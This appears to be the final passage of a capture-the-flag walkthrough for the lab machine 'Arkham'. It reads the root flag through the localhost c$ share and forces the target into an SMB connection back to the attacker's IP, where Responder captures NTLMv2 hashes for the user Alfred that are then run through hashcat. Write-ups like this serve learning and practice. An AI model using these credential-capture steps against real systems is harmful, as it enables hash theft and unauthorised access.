PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
Beyond Root
Alternative Root
When I initially solved Arkham, I skipped the UAC bypass, and used the fact that batman was an administrator to access the c$ share on localhost. I went right for the flag:
C:\Users\Batman>type \\localhost\c$\users\administrator\desktop\root.txt
type \\localhost\c$\users\administrator\desktop\root.txt
636783f9...
It’s not totally clear to me why this works, but I can’t access this share from Kali with Batman’s creds.
Creds for Alfred
Because I can run commands as Alfred, I can initiate an SMB connection back to myself:
root@kali# ./arkham_cmd.py 'cmd /c "net use \\10.10.14.11\share"'
I’ll have responder listening:
root@kali# responder -I tun0 -v
...[snip]...
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.130
[SMBv2] NTLMv2-SSP Username : ARKHAM\Alfred
[SMBv2] NTLMv2-SSP Hash : Alfred::ARKHAM:0d1de182d92346ee:C89B6E0D0BA9A15BD8CDC0ABC80A9D82:0101000000000000C0653150DE09D201A515114E76CEE163000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000C0B687FC9C658FAE71FC641C02E11BC13D96A3731AD37422CD5A60A6CC5C12A50A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003100000000000000000000000000
[SMBv2] NTLMv2-SSP Client : 10.10.10.130
[SMBv2] NTLMv2-SSP Username : ARKHAM\Alfred
[SMBv2] NTLMv2-SSP Hash : Alfred::ARKHAM:46a6958f0e312f0e:8E9753D315CE829667201347D991C8C5:0101000000000000C0653150DE09D201505F83DBE2FAB748000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000C0B687FC9C658FAE71FC641C02E11BC13D96A3731AD37422CD5A60A6CC5C12A50A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003100000000000000000000000000
I can crack this with hashcat, but it returns an empty password. As Minatotw reminded me, in Server 2019, guest SMB access is off by default.